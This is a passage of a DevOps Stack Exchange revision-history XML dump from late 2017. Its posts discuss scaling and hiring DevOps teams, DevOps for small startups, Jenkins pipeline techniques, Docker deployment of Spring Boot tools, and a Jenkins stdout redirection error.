transformations tend to not happen fast enough to allow for the above choices :)&#xD;&#xA;&#xD;&#xA;Now onto scaling **up/out**.&#xD;&#xA;&#xD;&#xA;Ideally the DevOps transformation should have greatly increased the predictability of your sw development and delivery process. You should be able to tell with a great degree of precision you existing team's capacity: how much sw/services of a certain quality can your current team get done in a certain amount of time. &#xD;&#xA;&#xD;&#xA;**When** you need more stuff done, or done better/faster than the current team's capacity you need to scale the team up/out. The exact details come from whatever process/methodology you use for your day-to-day activities, probably some agile variant (see also https://devops.stackexchange.com/questions/333/does-my-organization-need-adopt-agile-soft-dev-before-adopting-devops)&#xD;&#xA;&#xD;&#xA;**How** - *apparently* easy: hire more people to handle the overflowing activities. If you're worried about how fast you can get them onboard and actually handling that overflow work at the expected rates: start hiring earlier, based on projections.&#xD;&#xA;&#xD;&#xA;The reality can, however, a bit more difficult than that. Primarily because of the weakest DevOps link **when it comes to scalability**: Continuous Integration. If the CI build fails there can be no Delivery/Deployment (kinda undermining the &quot;continuous&quot; term in the CD context).&#xD;&#xA;&#xD;&#xA;Just because a certain team is happily using CI with decent results it doesn't mean the same will happen if the team size doubles. Nope, the results could be devastating - the delivery process can grind down to a halt (in extreme cases). I'm trying to explain this in [Congestion in Traditional CI Systems][1] (**disclaimer:** I'm the founder of the company owning the referenced page and offering a solution to this problem).&#xD;&#xA;&#xD;&#xA;But with a scalable CI system in place yes, the **how** can be reduced to just increasing the team size to cover the additional amount of work to be performed.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/15/congestion_in_traditional_ci.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8486" PostHistoryTypeId="5" PostId="2714" RevisionGUID="f710b85b-55f3-49db-8d75-1f09322893d2" CreationDate="2017-11-27T18:00:54.537" UserId="47" Comment="improved readability" Text="The comparison of a software delivery team to a football team (all can kick the ball but only some will become an excellent goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][1].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][2]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the recipe for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8487" PostHistoryTypeId="4" PostId="2714" RevisionGUID="f710b85b-55f3-49db-8d75-1f09322893d2" CreationDate="2017-11-27T18:00:54.537" UserId="47" Comment="improved readability" Text="Recipe for hiring a winning DevOps empowered team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8488" PostHistoryTypeId="5" PostId="2714" RevisionGUID="aff451e5-b8b8-4b27-b6df-8bfcd551fbd5" CreationDate="2017-11-27T18:10:10.820" UserId="707" Comment="added 127 characters in body" Text="The [comparison of a software delivery team to a football team][1] (all can kick the ball but only some will become an excellent goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][2].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][3]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the recipe for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2703/are-ci-and-cd-devops-team-tasks-or-are-these-separate-professions&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8489" PostHistoryTypeId="5" PostId="2712" RevisionGUID="e821ce36-1fab-4239-af8e-7f785b2239a9" CreationDate="2017-11-27T18:22:23.277" UserId="47" Comment="improved readability" Text="You may want to try the [Join plugin](http://wiki.jenkins-ci.org/display/JENKINS/Join+Plugin). Some more details about this plugin (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; This plugin allows a job to be run after all the immediate downstream jobs have completed. In this way, the execution can branch out and perform many steps in parallel, and then run a final aggregation step just once after all the parallel work is finished.&#xD;&#xA;&#xD;&#xA;&gt; The plugin is useful for creating a 'diamond' shape project dependency.   This means there is a single parent job that starts several downstream jobs. Once those jobs are finished, a single aggregation job runs.&#xD;&#xA;&#xD;&#xA;For more details on that, refer to my self answered question about &quot;https://devops.stackexchange.com/q/717/40&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="8490" PostHistoryTypeId="5" PostId="2719" RevisionGUID="c8995df0-ece7-4995-9bb6-e0efb5e022cf" CreationDate="2017-11-27T19:34:10.703" UserId="47" Comment="reconsidering some points" Text="IMHO it's not a good idea to directly and immediately apply a team's gains from its DevOps transformation into scaling the team **down**. At best you'll lose just the team's motivation to do any such improvement in the future. But most likely you'll lose most/all the talent in that team.&#xD;&#xA;&#xD;&#xA;Instead:&#xD;&#xA;&#xD;&#xA;- allow the team to appreciate the benefits of the difficult transformation they went through, so that they spread the word to your other teams that will have to go through (or are already struggling with) the transformation&#xD;&#xA;- focus on delivering better quality products/services, faster - with the same team - this is now possible due to the transformation.&#xD;&#xA;- in many cases your business will pick up speed because of the transformation - soon you'll more likely need to hire people - IMHO it's better to use the experience of the ones you already have rather than educating new hires&#xD;&#xA;- allow voluntary attrition to work for you and get the effective downscaling down the road.&#xD;&#xA;&#xD;&#xA;But generally the DevOps transformations tend to not happen fast enough to allow for the above choices :)&#xD;&#xA;&#xD;&#xA;Now onto scaling **up/out**.&#xD;&#xA;&#xD;&#xA;Ideally the DevOps transformation should have greatly increased the predictability of your sw development and delivery process. You should be able to tell with a great degree of precision you existing team's capacity: how much sw/services of a certain quality can your current team get done in a certain amount of time. &#xD;&#xA;&#xD;&#xA;**When** you need more stuff done, or done better/faster than the current team's capacity you need to scale the team up/out. The exact details come from whatever process/methodology you use for your day-to-day activities, probably some agile variant (see also https://devops.stackexchange.com/questions/333/does-my-organization-need-adopt-agile-soft-dev-before-adopting-devops)&#xD;&#xA;&#xD;&#xA;**How** - *apparently* easy: hire more people to handle the overflowing activities. If you're worried about how fast you can get them onboard and actually handling that overflow work at the expected rates: start hiring earlier, based on projections.&#xD;&#xA;&#xD;&#xA;The reality can, however, a bit more difficult than that. Scaling a software product/service or the development process and tools supporting it is not necessarily straight-forward, even for a DevOps-empowered organisation.&#xD;&#xA;&#xD;&#xA;One of my favourite examples is the weakest DevOps link **when it comes to scalability**: Continuous Integration. If the CI build fails there can be no Delivery/Deployment (kinda undermining the &quot;continuous&quot; term in the CD context).&#xD;&#xA;&#xD;&#xA;Just because a certain team is happily using CI with decent results it doesn't mean the same will happen if the team size doubles. Nope, the results could be devastating - the delivery process can grind down to a halt (in extreme cases). I'm trying to explain this in [Congestion in Traditional CI Systems][1] (**disclaimer:** I'm the founder of the company owning the referenced page and offering a solution to this problem).&#xD;&#xA;&#xD;&#xA;Another example could be, for example, the version control system (VCS) being used: as the software being stored into a repository evolves so does its change history, pushing the limits of the VCS system, sometimes beyond acceptable performance levels. Switching to a more scalable VCS system or splitting the codebase into multiple repositories could be an approach to address the problem.&#xD;&#xA;&#xD;&#xA;But evolving the development processes and tooling supporting them alongside the evolution of the software products/services being delivered are fundamentally just what a mature DevOps team does. They just need to also be taken into consideration when in the team's scaling up/out strategy.&#xD;&#xA;&#xD;&#xA;With that in mind, the **how** can be, indeed, reduced to just increasing the team size to cover the additional amount of work necessary for execution of the above-mentioned strategy.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/15/congestion_in_traditional_ci.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8491" PostHistoryTypeId="2" PostId="2720" RevisionGUID="5f794181-fc0f-4c52-b791-a9d7346f0aeb" CreationDate="2017-11-27T19:58:40.853" UserId="4175" Text="I believe DevOps is orthogonal to your question, i.e., it changes nothing compared to a &quot;classical&quot; approach (or to hiring any team at all, not only for software development). You identify what your key needs are (for example, an &quot;architect&quot; who is able to structure large software systems; some &quot;hacker&quot; who is able to fix a Kernel driver if needed; a &quot;tester&quot; who likes to test and such; and finally maybe a &quot;DevOps engineer&quot; who excels in creating good CI/CD tooling). &#xD;&#xA;&#xD;&#xA;But all of them need, to stay with your image, to be able to kick the ball. I.e., they all need to work together in the context that the team is working in. They all need at least some basic understanding of what the other team members are doing; if you have a strict CI/CD pipeline, then they all need to be able to develop in that frame; and so on.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8492" PostHistoryTypeId="5" PostId="2715" RevisionGUID="65a161b6-90b5-4752-a0e9-b01f14be53ad" CreationDate="2017-11-27T22:12:25.240" UserId="210" Comment="added 1 character in body" Text="Given that DevOps allows IT staff actually to downscale and do more through all the automation, what are limits to that? &#xD;&#xA;&#xD;&#xA;That is, what are rules of thumb - if there can be any - where you would know you need more people despite [rapidly progressing rates of automation][1] and introduction of RPA ([Robotic Process Automation][2])?&#xD;&#xA;&#xD;&#xA;Note: this is about the staff size of the whole IT departments altogether put in relationship to your business size, structure and function (size of a single team is well defined by the [two-pizza team][3] concept).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2635/from-6-months-to-16-seconds-grokking-devops-speedup-data-from-devops-report-by&#xD;&#xA;  [2]: https://devops.meta.stackexchange.com/questions/243/is-rpa-robotic-process-automation-a-topic-for-devops-and-so-on-topic-here&#xD;&#xA;  [3]: http://blog.idonethis.com/two-pizza-team/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8493" PostHistoryTypeId="33" PostId="1943" RevisionGUID="6944a790-cf80-4160-af78-737ee2132a2f" CreationDate="2017-11-27T22:32:38.790" UserId="210" Comment="10" />
  <row Id="8494" PostHistoryTypeId="2" PostId="2721" RevisionGUID="ea91ff97-ab52-41a2-ad69-f6796b6bd0eb" CreationDate="2017-11-27T22:43:06.257" UserId="2845" Text="Suppose I am en entrepreneur with little seed money for my Great Idea (TM) and I start a company initially planning to implement my Great Idea (TM) on my own and hire additional help on a basis dictated by the rate of company growth.&#xD;&#xA;&#xD;&#xA;Frequently, answers on this site center around the idea that [DevOps is not a role,](https://devops.stackexchange.com/a/160/2845) but a new way of doing things with a [new philosophy of operation that allows a team of roles to actually do DevOps.](https://devops.stackexchange.com/a/801/2845) This prevents burnout and people [from feeling like a lone wolf](https://devops.stackexchange.com/questions/2510/how-to-help-devops-engineers-feel-less-like-a-lone-wolf.)&#xD;&#xA;&#xD;&#xA;As a fledgling and budding company, then, should I even bother to pursue DevOps as a philosophy, or is this only appropriate for a more mature operation capable of having a development team of sufficient size?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8495" PostHistoryTypeId="1" PostId="2721" RevisionGUID="ea91ff97-ab52-41a2-ad69-f6796b6bd0eb" CreationDate="2017-11-27T22:43:06.257" UserId="2845" Text="Can I found a small company on DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8496" PostHistoryTypeId="3" PostId="2721" RevisionGUID="ea91ff97-ab52-41a2-ad69-f6796b6bd0eb" CreationDate="2017-11-27T22:43:06.257" UserId="2845" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8497" PostHistoryTypeId="6" PostId="1943" RevisionGUID="d0ef8e22-3772-41eb-8b0c-2984e6d1e4e5" CreationDate="2017-11-27T23:15:44.453" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8498" PostHistoryTypeId="2" PostId="2722" RevisionGUID="e150d76d-805f-49ad-9808-f8a48df1f716" CreationDate="2017-11-27T23:17:06.530" UserId="2313" Text="DevOps doesn't mean you admins should be doing QA and your testers should be developing. They rather should be aware of what other team members are doing and work as a team instead of just throwing responsibility over the wall and not caring about what other team members will do with it.&#xD;&#xA;&#xD;&#xA;You will probably benefit from having someone on the team that knows how to build code integration pipelines. They may be specialized in it just like others specialize in databases, frontend or system fine-tuning. But you can't just assign a person and tell them to do all things CI, developers will write unit tests, testers will write some more high-level tests, administrators will have to make sure the tests actually run on environments that match the production. You can assign a person to oversee it but on small teams it doesn't make much sense. Especially since CI is more than just pipelines it's about changing how developers work.&#xD;&#xA;&#xD;&#xA;Same goes for CD, you may have someone who have more experience with how to design software that can be continuously deployed but you have to change the way developers work to actually achieve it. You can't just tell someone to continuously deploy software that wasn't designed for it.&#xD;&#xA;&#xD;&#xA;So summing up, if you want someone on that team that's there just for CI/CD that person's tasks will be to teach the team how to work." ContentLicense="CC BY-SA 3.0" />
  <row Id="8499" PostHistoryTypeId="5" PostId="2722" RevisionGUID="30cd8687-15d1-431c-831e-b174fdb31739" CreationDate="2017-11-27T23:24:14.163" UserId="2313" Comment="added 1 character in body" Text="DevOps doesn't mean your admins should be doing QA and your testers should be developing. They rather should be aware of what other team members are doing and work as a team instead of just throwing responsibility over the wall and not caring about what other team members will do with it.&#xD;&#xA;&#xD;&#xA;You will probably benefit from having someone on the team that knows how to build code integration pipelines. They may be specialized in it just like others specialize in databases, frontend or system fine-tuning. But you can't just assign a person and tell them to do all things CI, developers will write unit tests, testers will write some more high-level tests, administrators will have to make sure the tests actually run on environments that match the production. You can assign a person to oversee it but on small teams it doesn't make much sense. Especially since CI is more than just pipelines it's about changing how developers work.&#xD;&#xA;&#xD;&#xA;Same goes for CD, you may have someone who have more experience with how to design software that can be continuously deployed but you have to change the way developers work to actually achieve it. You can't just tell someone to continuously deploy software that wasn't designed for it.&#xD;&#xA;&#xD;&#xA;So summing up, if you want someone on that team that's there just for CI/CD that person's tasks will be to teach the team how to work." ContentLicense="CC BY-SA 3.0" />
  <row Id="8500" PostHistoryTypeId="10" PostId="2703" RevisionGUID="ba0ada08-64fd-47e6-b1e3-6d83aae757ff" CreationDate="2017-11-27T23:39:08.477" UserId="-1" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[797],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;,&quot;BindingReason&quot;:{&quot;DuplicateApprovedByAsker&quot;:&quot;&quot;}}]}" />
  <row Id="8501" PostHistoryTypeId="2" PostId="2723" RevisionGUID="145eec36-8606-4c33-a32d-e40caf1c0603" CreationDate="2017-11-27T23:52:40.907" UserId="4175" Text="The one (starting a small 1-2 person company and growing as money comes in) has nothing to do with the other (using a DevOps philosophy).&#xD;&#xA;&#xD;&#xA;Even a 1-man business can be DevOps based. You can start implementing your Great Idea (tm) with a functioning fully containerized CI/CD pipeline, in fact there is no better time than at the beginning, when there is no cruft to take care of, yet, and *before* you hit a significant number of users. It's not going to take months of work; you can hack together a basic Jenkins/Docker pipeline in a few hours (if you know a lot already) or maybe days (but then the days will have been productively spent learning that stuff as you go).&#xD;&#xA;&#xD;&#xA;Starting out with the CD part in a greenfield project is *much* easier than adding CD to an existing application which used manual deploys before.&#xD;&#xA;&#xD;&#xA;You can start out with full test coverage at the start (there is no better time, for obvious reasons), including tools that verifies test coverage as part of the CI/CD.&#xD;&#xA;&#xD;&#xA;You can easily start out with some small security measures, like checking your test suite for superfluous open ports or whatever.&#xD;&#xA;&#xD;&#xA;You can, and should start out with cattle-not-pet right away.&#xD;&#xA;&#xD;&#xA;When you add more personel, they will start out right in that fruitful athmosphere, and hopefully many of their cheaper errors will immediately be caught by the CI/CD.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8502" PostHistoryTypeId="2" PostId="2724" RevisionGUID="61f9c3ac-216e-4417-a232-5782cfc8c08c" CreationDate="2017-11-28T00:31:48.160" UserId="707" Text="Yes because you can use advanced automation to create value and establish reusable foundations of your future bigger company. Depends of course how often you are going to update your digital products. But you will value the possibility to to as much manual work as necessary on repetitive excercises." ContentLicense="CC BY-SA 3.0" />
  <row Id="8503" PostHistoryTypeId="2" PostId="2725" RevisionGUID="0eb2a233-d38f-4541-9bbb-e400c069565e" CreationDate="2017-11-28T06:50:38.127" UserId="5393" Text="I tried storing the slave job part status in a file and stashing it on node and then unstashing it back on master. It works but I am looking for a cleaner way. Following is the current approach i am using:&#xD;&#xA;&#xD;&#xA;    def branches = [:]&#xD;&#xA;    def allNodes = Jenkins.getInstance().getNodes()&#xD;&#xA;    for (int i =0; i &lt; allNodes.size(); i++) {&#xD;&#xA;    String nodeName = allNodes[i].name.toString()&#xD;&#xA;    branches[nodeName] = {&#xD;&#xA;        node(nodeName) { &#xD;&#xA;        .&#xD;&#xA;        .&#xD;&#xA;        String outputFile = nodeName + &quot;-output&quot;&#xD;&#xA;        writeFile file: outputFile, text: result.toString()&#xD;&#xA;        stash includes: &quot;*output&quot;, name: outputFile&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    parallel branches&#xD;&#xA;    &#xD;&#xA;    for (int i = 0; i &lt; allNodes.size(); i++) &#xD;&#xA;	{&#xD;&#xA;		String filename = allNodes[i].name.toString() + &quot;-output&quot;&#xD;&#xA;		unstash filename&#xD;&#xA;		def value = readFile filename&#xD;&#xA;			&#xD;&#xA;		// Mark node offline based on the variable value&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8504" PostHistoryTypeId="5" PostId="2714" RevisionGUID="20e1363e-4576-46a2-979f-dc0baa91582e" CreationDate="2017-11-28T07:10:16.143" UserId="707" Comment="added 349 characters in body" Text="The [comparison of a software delivery team to a football team][1] (all can kick the ball but only some will become an excellent goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][2].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][3]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the recipe for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;Note: this question is not a duplicate of  &quot;[why you shouldn't try to hire a DevOps Engineer][3]&quot; as a specific question is after required skills setup. E.g. would you have a CI-focused profile or expect developers to include pipelines as code to their projects? Clearly, just hiring somebody with the DevOps claim does not answerthis question. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2703/are-ci-and-cd-devops-team-tasks-or-are-these-separate-professions&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8505" PostHistoryTypeId="5" PostId="2714" RevisionGUID="93c6734f-7710-46a6-a5c0-bc40c385e5df" CreationDate="2017-11-28T07:13:57.363" UserId="40" Comment="added 1 character in body" Text="The [comparison of a software delivery team to a football team][1] (all can kick the ball but only some will become an excellent goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][2].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][3]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the recipe for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;Note: this question is not a duplicate of  &quot;[why you shouldn't try to hire a DevOps Engineer][3]&quot; as a specific question is after required skills setup. E.g. would you have a CI-focused profile or expect developers to include pipelines as code to their projects? Clearly, just hiring somebody with the DevOps claim does not answer this question. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2703/are-ci-and-cd-devops-team-tasks-or-are-these-separate-professions&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8506" PostHistoryTypeId="5" PostId="2705" RevisionGUID="c876fd0e-7fe3-45a9-b8b5-3319283f8ef9" CreationDate="2017-11-28T09:22:35.647" UserId="210" Comment="added 64 characters in body" Text="For questions regarding how a company or team could be organized" ContentLicense="CC BY-SA 3.0" />
  <row Id="8507" PostHistoryTypeId="24" PostId="2705" RevisionGUID="c876fd0e-7fe3-45a9-b8b5-3319283f8ef9" CreationDate="2017-11-28T09:22:35.647" Comment="Proposed by 210 approved by 47, 707 edit id of 548" ContentLicense="CC BY-SA 3.0" />
  <row Id="8508" PostHistoryTypeId="2" PostId="2726" RevisionGUID="0670c741-dfe0-4f81-9a88-169c78a69d5d" CreationDate="2017-11-28T11:41:33.393" UserId="5419" Text="These are pretty much just tools our support and ops departments need to solve small tasks which crop up as a routine sideeffect of our main business operation. They might need to find all instances of Entity with both Field A and Field B, or change some property in some database without having to go through Ops.&#xD;&#xA;&#xD;&#xA;Anyway, I write them in Kotlin on Spring Boot just for speed, and I use a different Spring Boot instance on each to avoid dealing with conflicting datasources in a single Spring Boot app. I use Docker just because we all use Docker, so why change now. And Docker-compose for easy deployment.&#xD;&#xA;&#xD;&#xA;The problem I have is that I want a single command to git update, rebuild image and restart containers. Or, even better. When one of the tools gets updated, just recreate it and replace the container live.&#xD;&#xA;&#xD;&#xA;Obviously I could script this, but it seems like something that would exist already. Is there something out there that's &quot;like&quot; CD, but which doesn't have all the overhead?&#xD;&#xA;&#xD;&#xA;I tried Dokku. Didn't like it. Way too complicated for what I needed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8509" PostHistoryTypeId="1" PostId="2726" RevisionGUID="0670c741-dfe0-4f81-9a88-169c78a69d5d" CreationDate="2017-11-28T11:41:33.393" UserId="5419" Text="I need a good tool for running a series of Spring Boot based tools on Docker, where each needs a web page and a database connection" ContentLicense="CC BY-SA 3.0" />
  <row Id="8510" PostHistoryTypeId="3" PostId="2726" RevisionGUID="0670c741-dfe0-4f81-9a88-169c78a69d5d" CreationDate="2017-11-28T11:41:33.393" UserId="5419" Text="&lt;docker&gt;&lt;git&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8511" PostHistoryTypeId="5" PostId="2723" RevisionGUID="57a164aa-d885-4f56-b59c-879a048961ee" CreationDate="2017-11-28T11:58:25.820" UserId="4175" Comment="added 142 characters in body" Text="The one (starting a small 1-2 person company and growing as money comes in) has nothing to do with the other (using a DevOps philosophy).&#xD;&#xA;&#xD;&#xA;Even a 1-man business can be DevOps based. You can start implementing your Great Idea (tm) with a functioning fully containerized CI/CD pipeline, in fact there is no better time than at the beginning, when there is no cruft to take care of, yet, and *before* you hit a significant number of users. It's not going to take months of work; you can hack together a basic Jenkins/Docker pipeline in a few hours (if you know a lot already) or maybe days (but then the days will have been productively spent learning that stuff as you go).&#xD;&#xA;&#xD;&#xA;Starting out with the CD part in a greenfield project is *much* easier than adding CD to an existing application which used manual deploys before.&#xD;&#xA;&#xD;&#xA;You can start out with full test coverage at the start (there is no better time, for obvious reasons), including tools that verifies test coverage as part of the CI/CD.&#xD;&#xA;&#xD;&#xA;You can easily start out with some small security measures, like checking your test suite for superfluous open ports or whatever.&#xD;&#xA;&#xD;&#xA;You can, and should start out with cattle-not-pet right away (meaning IaC, IaaS, PaaS and all that good stuff, hosted on one of the pretty streamlined &quot;big three&quot; providers). Start small, scale a needed.&#xD;&#xA;&#xD;&#xA;When you add more personel, they will start out right in that fruitful athmosphere, and hopefully many of their cheaper errors will immediately be caught by the CI/CD.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8512" PostHistoryTypeId="50" PostId="720" RevisionGUID="5e5c6603-42da-4278-af53-938d7bb923a8" CreationDate="2017-11-28T12:38:04.670" UserId="-1" />
  <row Id="8513" PostHistoryTypeId="50" PostId="1931" RevisionGUID="2389086d-05bb-4ed1-a63f-c587ea7ab368" CreationDate="2017-11-28T13:38:17.303" UserId="-1" />
  <row Id="8514" PostHistoryTypeId="50" PostId="2460" RevisionGUID="2fc793d0-63eb-4dc5-8b4a-da56f26e67a5" CreationDate="2017-11-28T20:38:45.730" UserId="-1" />
  <row Id="8515" PostHistoryTypeId="2" PostId="2727" RevisionGUID="e63645f9-bd58-44ac-bff3-dd51e9102e73" CreationDate="2017-11-28T22:12:23.267" UserId="210" Text="According to me a CI like Jenkins or gitlab should be used to build the docker images when the git code changes. Once this works well, you could start to run some scripts that deploy to an environment (CD). First of all, I would like to emphasize that implementing CI is the highest priority as the docker images seems to be built manually at the moment." ContentLicense="CC BY-SA 3.0" />
  <row Id="8517" PostHistoryTypeId="2" PostId="2728" RevisionGUID="531da921-5d92-4201-bfe0-98b3ad429795" CreationDate="2017-11-29T07:40:34.813" UserId="5431" Text="I'm trying to execute an exec file from a jenkins server, using windows cmd. This is what is run from jenkins Windows batch window:&#xD;&#xA;&#xD;&#xA;`C:\MyApp\MyApp.exe`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When run regularly from command line, the app prints to the console reporting its progress.&#xD;&#xA;&#xD;&#xA;When I run it from jenkins, I get the following exception (MyApp stands for the name of my actual application):&#xD;&#xA;&#xD;&#xA;    08:13:56 Started by user NO&#xD;&#xA;    08:13:56 Building remotely on SFM BSP builder (ComputerName) (projectName) in workspace C:\Jenkins\workspace\MyBuildMachine&#xD;&#xA;    08:13:56 Running Prebuild steps&#xD;&#xA;    08:13:56 [MyBuildMachine] $ cmd /c call C:\Windows\TEMP\jenkins3066529473565168228.bat&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 C:\Jenkins\workspace\MyBuildMachine&gt; C:\Users\NO\Desktop\MyApp.exe &#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 Unhandled Exception: System.IO.IOException: The handle is invalid.&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56    at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)&#xD;&#xA;    08:13:56    at System.Console.GetBufferInfo(Boolean throwOnNoConsole, Boolean&amp; succeeded)&#xD;&#xA;    08:13:56    at MyApp.App.AppInit(String[] args)&#xD;&#xA;    08:13:56    at MyApp.Program.Main(String[] args)&#xD;&#xA;    08:13:56 &#xD;&#xA;    08:13:56 C:\Jenkins\workspace\MyBuildMachine&gt;exit 255 &#xD;&#xA;    08:13:56 Build step 'Execute Windows batch command' marked build as failure&#xD;&#xA;    08:13:56 Email was triggered for: Failure - Any&#xD;&#xA;    08:13:56 Sending email for trigger: Failure - Any&#xD;&#xA;    08:13:56 Sending email to: myEmail@email.com&#xD;&#xA;    08:13:58 Finished: FAILURE&#xD;&#xA;&#xD;&#xA;Needless to say, the app didn't do its job.&#xD;&#xA;Trying to understand the problem, I found [here][1] an explanation about stdout redirection, and Jenkins actually does that automatically, which causes this exception. And indeed also when I run it in cmd with stdout redirection, i.e. `C:\&gt; MyApp.exe &gt;&gt; appOut.txt`, it shows the same error.&#xD;&#xA;&#xD;&#xA;I have no access to the source code of the app. I know that it could be solved from inside. My question is: Is there any way to prevent Jenkins from redirecting the stdout to a file, or wrapping the exec somehow such that will allow me to run it? (of course, running it from another exec and just catching the exception won't work. There won't be an exception but also the app won't run).&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/27749674/why-does-adjusting-console-buffer-raise-invalid-handle-exception-when-redirectin&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8518" PostHistoryTypeId="1" PostId="2728" RevisionGUID="531da921-5d92-4201-bfe0-98b3ad429795" CreationDate="2017-11-29T07:40:34.813" UserId="5431" Text="Jenkins Exception that is caused by stdout redirection using windows cmd" ContentLicense="CC BY-SA 3.0" />
